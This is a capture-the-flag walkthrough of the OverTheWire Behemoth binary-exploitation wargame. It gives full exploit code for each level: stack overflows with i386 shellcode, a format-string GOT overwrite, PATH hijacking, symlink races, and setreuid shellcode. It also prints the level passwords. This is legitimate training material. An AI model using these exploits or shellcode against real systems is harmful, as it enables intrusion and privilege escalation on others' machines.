OverTheWire - Behemoth

behemoth

behemoth.labs.overthewire.org 2221

level 0 → level 1

1
2
3
4
5
6
SSH Information
Host: behemoth.labs.overthewire.org
Port: 2221
User: behemoth0
Passwords: /etc/behemoth_pass/
Binaries: /behemoth/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
behemoth0@behemoth:~$ ls -la /behemoth/
total 136
drwxr-xr-x 2 root root 4096 Apr 3 15:18 .
drwxr-xr-x 31 root root 4096 May 16 18:30 ..
-r-sr-x--- 1 behemoth1 behemoth0 11700 Apr 3 15:17 behemoth0
-r-sr-x--- 1 behemoth2 behemoth1 11304 Apr 3 15:17 behemoth1
-r-sr-x--- 1 behemoth3 behemoth2 15128 Apr 3 15:17 behemoth2
-r-sr-x--- 1 behemoth4 behemoth3 11352 Apr 3 15:18 behemoth3
-r-sr-x--- 1 behemoth5 behemoth4 15124 Apr 3 15:18 behemoth4
-r-sr-x--- 1 behemoth6 behemoth5 15408 Apr 3 15:18 behemoth5
-r-sr-x--- 1 behemoth7 behemoth6 15148 Apr 3 15:18 behemoth6
-r-xr-x--- 1 behemoth7 behemoth6 14928 Apr 3 15:18 behemoth6_reader
-r-sr-x--- 1 behemoth8 behemoth7 11476 Apr 3 15:18 behemoth7

behemoth0@behemoth:~$ ls -la /etc/behemoth_pass/
total 52
drwxr-xr-x 2 root root 4096 Apr 3 15:17 .
drwxr-xr-x 128 root root 12288 May 10 08:58 ..
-r-------- 1 behemoth0 behemoth0 10 Apr 3 15:17 behemoth0
-r-------- 1 behemoth1 behemoth1 11 Apr 3 15:17 behemoth1
-r-------- 1 behemoth2 behemoth2 11 Apr 3 15:17 behemoth2
-r-------- 1 behemoth3 behemoth3 11 Apr 3 15:17 behemoth3
-r-------- 1 behemoth4 behemoth4 11 Apr 3 15:17 behemoth4
-r-------- 1 behemoth5 behemoth5 11 Apr 3 15:17 behemoth5
-r-------- 1 behemoth6 behemoth6 11 Apr 3 15:17 behemoth6
-r-------- 1 behemoth7 behemoth7 11 Apr 3 15:17 behemoth7
-r-------- 1 behemoth8 behemoth8 11 Apr 3 15:17 behemoth8

Behemoth is a binary exploitation wargame with 9 levels (0-8). Focuses on real-world vulnerabilities commonly found in the wild: buffer overflows, format strings, race conditions, and privilege escalation.

Tools: gdb/pwndbg, objdump, strings, ltrace, strace, python3/pwntools, pattern_offset.rb, nasm, Ghidra.

1
2
behemoth0@behemoth:~$ /behemoth/behemoth0
Password:

The binary compares input against a hardcoded password encrypted with memfrob() (XOR with 42). Use strings, ltrace, or set a breakpoint at memfrob() in gdb to find the plaintext.

1
2
3
4
behemoth0@behemoth:~$ ltrace /behemoth/behemoth0
Password: test
strlen("OK^GSYBEX^Y") = 11
strcmp("test", "eatmyshorts") = -1

The password is revealed by ltrace: eatmyshorts. Enter it to get a shell as behemoth1.

1
2
3
4
5
6
7
behemoth0@behemoth:~$ /behemoth/behemoth0
Password: eatmyshorts
Access granted..
$ whoami
behemoth1
$ cat /etc/behemoth_pass/behemoth1
**********
8YpAQCAuKf

level 1 → level 2

Level 1: Stack-based buffer overflow. The binary uses gets() with no bounds checking. Exploit with ret2shellcode (NX disabled).

Finding EIP offset

Use pwntools cyclic pattern:

1
2
3
4
5
6
7
8
9
10
11
12
13
behemoth1@behemoth:/tmp/behemoth1$ python3 -c "
from pwn import *
import sys
sys.stdout.buffer.write(cyclic(200, n=4))
" > pattern.txt

behemoth1@behemoth:/tmp/behemoth1$ gdb -q -nx -batch \
-ex "set pagination off" \
-ex "set disable-randomization on" \
-ex "run < pattern.txt" \
-ex "info registers eip" \
/behemoth/behemoth1
# EIP = 0x61617361
1
2
3
from pwn import *
eip = 0x61617361
offset = cyclic_find(p32(eip), n=4) # → 71

Payload

The binary doesn't zero environment variables, so store shellcode in EGG env var. Use /tmp/behemoth1/getenv (pre-compiled, source below) to find its address:

1
2
3
4
5
6
7
8
9
10
behemoth1@behemoth:/tmp/behemoth1$ export EGG=$(python3 -c "
import sys
from pwn import *
context.arch = 'i386'
sc = asm('xor eax,eax; mov al,0xb; xor edx,edx; xor ecx,ecx; push ecx; push 0x68732f2f; push 0x6e69622f; mov ebx,esp; int 0x80')
sys.stdout.buffer.write(b'\\x90'*50 + sc)
")

behemoth1@behemoth:/tmp/behemoth1$ ./getenv EGG /behemoth/behemoth1
EGG is at 0xffffde6c

Exploit with the env address:

1
2
3
4
5
6
7
8
behemoth1@behemoth:/tmp/behemoth1$ (python3 -c "
from pwn import *
context.arch = 'i386'
print('A' * 71 + p32(0xffffde6c).decode('latin-1'))
"; cat) | /behemoth/behemoth1
$ whoami
behemoth2
$ cat /etc/behemoth_pass/behemoth2
IxPJbQtH8q

level 2 → level 3

Level 2: PATH hijacking. The binary calls system("touch <pid>") without an absolute path. It also calls system("cat <filename>") after sleeping for 2000 seconds.

Create a fake touch executable in /tmp that cats the password, then modify PATH:

1
2
3
4
5
6
behemoth2@behemoth:/tmp$ echo '#!/bin/bash' > touch
behemoth2@behemoth:/tmp$ echo 'cat /etc/behemoth_pass/behemoth3' >> touch
behemoth2@behemoth:/tmp$ chmod +x touch
behemoth2@behemoth:/tmp$ export PATH=.:$PATH
behemoth2@behemoth:/tmp$ /behemoth/behemoth2
# password printed immediately

Alternative symlink approach: create a symlink named after the PID pointing to the password file before cat runs (within the 2000 second window).

JQ6tZGqt0i

level 3 → level 4

Level 3: Format string vulnerability. The binary calls printf(user_input) directly — the format string is user-controlled. Use %n to overwrite puts@GOT and redirect execution to shellcode.

Finding the format string offset

1
2
3
behemoth3@behemoth:/behemoth$ /behemoth/behemoth3
Identify yourself: AAAABBBB.%x.%x.%x.%x.%x.%x.%x
Welcome, AAAABBBB.41414141.42424242.2e78252e.252e7825...

Our input (AAAABBBB) appears at positions 1 and 2 on the format string stack (0x41414141, 0x42424242). This means the first 8 bytes of our input are directly addressable via %1$hn and %2$hn.

Binary properties

1
2
3
4
5
from pwn import *
e = ELF("/behemoth/behemoth3")
# PIE: False, No canary, No RELRO
# puts@GOT = 0x0804b218 (NOT the old 0x080497ac)
# Stack: Executable (no GNU_STACK header)

Exploit strategy

  1. Store shellcode in an environment variable EGG
  2. Find EGG address using /tmp/behemoth1/getenv (pre-compiled, source below)
  3. Overwrite puts@GOT with the EGG address using %hn writes

Shellcode in environment

1
2
3
4
5
6
7
8
9
10
behemoth3@behemoth:/tmp/behemoth3$ export EGG=$(python3 -c "
import sys
from pwn import *
context.arch = 'i386'
sc = asm('xor eax,eax; mov al,0xb; xor edx,edx; xor ecx,ecx; push ecx; push 0x68732f2f; push 0x6e69622f; mov ebx,esp; int 0x80')
sys.stdout.buffer.write(b'\\x90'*50 + sc)
")

behemoth3@behemoth:/tmp/behemoth3$ /tmp/behemoth1/getenv EGG /behemoth/behemoth3
EGG is at 0xffffde6e

The returned address shifts with argv length. To keep it stable, pad argv[0] when running the binary to match the getenv call length:

1
2
3
behemoth3@behemoth:/tmp/behemoth3$ ARGV0=$(python3 -c "print('/behemoth/behemoth3' + ' ' * 40)")
behemoth3@behemoth:/tmp/behemoth3$ /tmp/behemoth1/getenv EGG "$ARGV0"
# same argv length → stable address

Format string calculation

puts@GOT = 0x0804b218. The EGG address has two 16-bit halves: - low = egg_addr & 0xffff - high = (egg_addr >> 16) & 0xffff

Payload structure:

1
2
[puts@GOT addr (4B)] [puts@GOT+2 (4B)] [fmt specifiers] [newline]
↑ arg 1 for %1$hn ↑ arg 2 for %2$hn

The first 8 bytes are printed as literal output, then %<val1>c pads to reach low, then %<val2>c pads further to reach high:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.arch = "i386"

puts_got = 0x0804b218
egg_addr = 0xffffde6e # from getenv, adjust per session

low = egg_addr & 0xffff
high = (egg_addr >> 16) & 0xffff

val1 = low - 8
val2 = high - low

payload = p32(puts_got) + p32(puts_got + 2)
payload += f"%{val1}c%1$hn%{val2}c%2$hn".encode()

Run

1
2
3
4
5
6
7
8
9
10
11
12
behemoth3@behemoth:/tmp/behemoth3$ python3 -c "
from pwn import *
context.arch = 'i386'
puts_got = 0x0804b218
egg_addr = 0xffffde6e # from getenv
low = egg_addr & 0xffff
high = (egg_addr >> 16) & 0xffff
val1 = low - 8
val2 = high - low
import sys
sys.stdout.buffer.write(p32(puts_got) + p32(puts_got + 2) + f'%{val1}c%1\$hn%{val2}c%2\$hn'.encode() + b'\nid\ncat /etc/behemoth_pass/behemoth4\n')
" | /behemoth/behemoth3

If the EGG address was stable (same argv length), this overwrites puts@GOT. When the binary calls puts("aaaand goodbye again."), it jumps to the shellcode instead.

Caveat: The env address varies with argv[0] length. If the exploit doesn't work, find the EGG address and exploit binary with identical argv lengths, or embed shellcode directly in the format string buffer (address found via stack leak).

hpjUdlG723

level 4 → level 5

Level 4: The binary checks for a file at /tmp/<pid> and if it exists, reads and prints its contents. The PID is obtained from getpid(). Create a symlink from /tmp/<pid> to /etc/behemoth_pass/behemoth5.

The simplest approach: pre-create symlinks covering a wide PID range, then loop running the binary:

1
2
3
4
5
6
7
behemoth4@behemoth:/tmp/behemoth4$ for i in $(seq 1 65535); do
ln -sf /etc/behemoth_pass/behemoth5 $i 2>/dev/null
done

behemoth4@behemoth:/tmp/behemoth4$ while :; do
/behemoth/behemoth4 2>&1 | grep -v "PID not found" && break
done

This can take a few seconds to minutes—each run has a PID, and you need one that falls in your symlink range.

mVfC4rBKZ4

level 5 → level 6

Level 5: Insecure data exfiltration over UDP. The binary reads /etc/behemoth_pass/behemoth6 and sends it to 127.0.0.1:1337 via UDP.

Set up a UDP listener on port 1337 in one session, then run the binary in another:

1
2
3
4
5
6
# Session 1 - listener
behemoth5@behemoth:~$ nc -lup 1337

# Session 2 - trigger
behemoth5@behemoth:~$ /behemoth/behemoth5
# password received in session 1
j9I1wHzfVC

level 6 → level 7

Level 6: Shellcode execution gated by string comparison. behemoth6 runs behemoth6_reader via popen(), reads its output, and compares it to "HelloKitty" using strcmp(). If they match, a shell is spawned as behemoth7.

behemoth6_reader reads shellcode.txt and executes it as shellcode — but filters out byte 0x0b (int 0x80 / execve syscall).

Write shellcode that prints "HelloKitty" to stdout without using 0x0b:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.arch = "i386"

sc = asm("""
jmp short getmsg
printmsg:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 0x4 /* write syscall (not 0x0b, blocked) */
mov bl, 0x1 /* stdout */
pop ecx /* message address */
mov dl, 0xa /* "HelloKitty" = 10 bytes */
int 0x80
xor eax, eax
mov al, 0x1 /* exit syscall */
xor ebx, ebx
int 0x80
getmsg:
call printmsg
.ascii "HelloKitty"
""")
print(sc.hex())

Extract the shellcode bytes:

1
2
3
4
5
6
7
behemoth6@behemoth:/tmp/behemoth6$ python3 -c "
from pwn import *
context.arch = 'i386'
sc = asm('jmp short getmsg; printmsg: xor eax,eax; xor ebx,ebx; xor ecx,ecx; xor edx,edx; mov al,0x4; mov bl,0x1; pop ecx; mov dl,0xa; int 0x80; xor eax,eax; mov al,0x1; xor ebx,ebx; int 0x80; getmsg: call printmsg; .ascii \"HelloKitty\"')
import sys
sys.stdout.buffer.write(sc)
" > shellcode.txt

Or if you prefer NASM, extract with pwntools instead of grep -Po:

Write to shellcode.txt and run:

1
2
3
4
5
6
7
8
9
10
11
behemoth6@behemoth:/tmp/behemoth6$ python3 -c "
from pwn import *
context.arch = 'i386'
import sys
sc = asm('jmp short getmsg; printmsg: xor eax,eax; xor ebx,ebx; xor ecx,ecx; xor edx,edx; mov al,0x4; mov bl,0x1; pop ecx; mov dl,0xa; int 0x80; xor eax,eax; mov al,0x1; xor ebx,ebx; int 0x80; getmsg: call printmsg; .ascii \"HelloKitty\"')
sys.stdout.buffer.write(sc)
" > shellcode.txt
behemoth6@behemoth:/tmp/behemoth6$ /behemoth/behemoth6
Correct.
$ whoami
behemoth7
sV17oOQTKc

Level 7 → Level 8

Level 7: strcpy() buffer overflow with guardrails. The binary:

  • Zeroes all environment variables with memset() at startup — no env shellcode
  • Scans argv[1] first 512 bytes for non-alphanumeric chars via __ctype_b_loc + isalnum() — exits if found
  • Uses strcpy() without bounds checking — classic overflow
1
2
behemoth7@behemoth:~$ /behemoth/behemoth7 $(perl -e 'print "\x90"')
Non-alpha chars found in string, possible shellcode!

The loop counter compares against 0x1ff (511), so only the first 512 bytes are checked. Everything past byte 512 bypasses the filter.

Finding EIP offset

1
2
3
4
5
6
7
behemoth7@behemoth:/behemoth$ gdb -q ./behemoth7
(gdb) r $(python3 -c 'from pwn import *; print(cyclic(700, n=4).decode())')
Segmentation fault (core dumped) 0x66616168

# cyclic_find returns 528
(gdb) r $(python3 -c 'print("A"*528 + "BBBB" + "C"*300)')
# EIP = 0x42424242 ✓

Offset is 528.

Payload strategy

First 512 bytes can only contain alphanumeric bytes — 'A' is fine. Non-alpha payload goes past byte 512. Since the shellcode + return address (after EIP) spans positions 528+, we can put a long NOP sled after the return address on the stack, pointed to by ESP after ret:

1
2
[A × 528]  [RET → ESP]  [NOP sled × 200]  [shellcode]
0..527 528..531 532..731 732..

Shellcode with setreuid

Bash/dash drops setuid privileges on startup if real UID ≠ effective UID. The binary runs with euid=behemoth8 but ruid=behemoth7, so a plain execve("/bin//sh") shell will have uid=behemoth7 and can't read the password. Fix: call setreuid(13008, 13008) (behemoth8 UID) first.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context.arch = "i386"

sc = asm("""
/* setreuid(13008, 13008) — syscall 70 */
xor eax, eax
mov al, 0x46
xor ebx, ebx
mov bh, 0x32
mov bl, 0xd0 /* ebx = 0x32d0 = 13008 */
xor ecx, ecx
mov ch, 0x32
mov cl, 0xd0 /* ecx = 0x32d0 = 13008 */
int 0x80

/* execve("/bin//sh", NULL, NULL) — syscall 11 */
xor eax, eax
mov al, 0xb
xor edx, edx
xor ecx, ecx
push ecx
push 0x68732f2f /* "//sh" */
push 0x6e69622f /* "/bin" */
mov ebx, esp
int 0x80
""")

Total: 41 bytes. A 200-byte NOP sled before it provides plenty of landing zone.

Finding the stack address

Crash with a placeholder (4 Bs at EIP offset), then read ESP — it points right at the NOP sled:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
behemoth7@behemoth:/tmp$ python3 -c "
from pwn import *
context.arch = 'i386'
payload = b'A'*528 + b'BBBB' + asm('nop')*200 + b'SC_PLACEHOLDER'
open('/tmp/b7_payload.bin','wb').write(payload)
"

behemoth7@behemoth:/tmp$ gdb -q -nx -batch \
-ex "set pagination off" \
-ex "set disable-randomization on" \
-ex "unset environment LINES COLUMNS TERM" \
-ex "run \$(cat /tmp/b7_payload.bin)" \
-ex "info registers eip esp" \
-ex "x/4wx \$esp" \
/behemoth/behemoth7
# EIP = 0x42424242, ESP = 0xffffd8f0
# At ESP: 0x90909090 0x90909090 0x90909090 0x90909090 ← NOP sled ✓

Stack is at 0xffffd8f0 — stable per session (ASLR disabled server-side), varies between logins.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
behemoth7@behemoth:/tmp$ /behemoth/behemoth7 $(python3 -c '
from pwn import *
context.arch = "i386"
sc = asm("""
xor eax, eax
mov al, 0x46
xor ebx, ebx
mov bh, 0x32
mov bl, 0xd0
xor ecx, ecx
mov ch, 0x32
mov cl, 0xd0
int 0x80
xor eax, eax
mov al, 0xb
xor edx, edx
xor ecx, ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
int 0x80
""")
ret = 0xffffd8f0 # from gdb, adjust per session
print("A" * 528 + p32(ret).decode("latin-1") + "\x90" * 200 + sc.decode("latin-1"))
')
$ id
uid=13008(behemoth8) gid=13007(behemoth7) groups=13007(behemoth7)
$ cat /etc/behemoth_pass/behemoth8

Replace 0xffffd8f0 with the ESP value from your gdb session. If the shell doesn't spawn, the address missed the NOP sled — adjust ±16.

8yWcelJd0D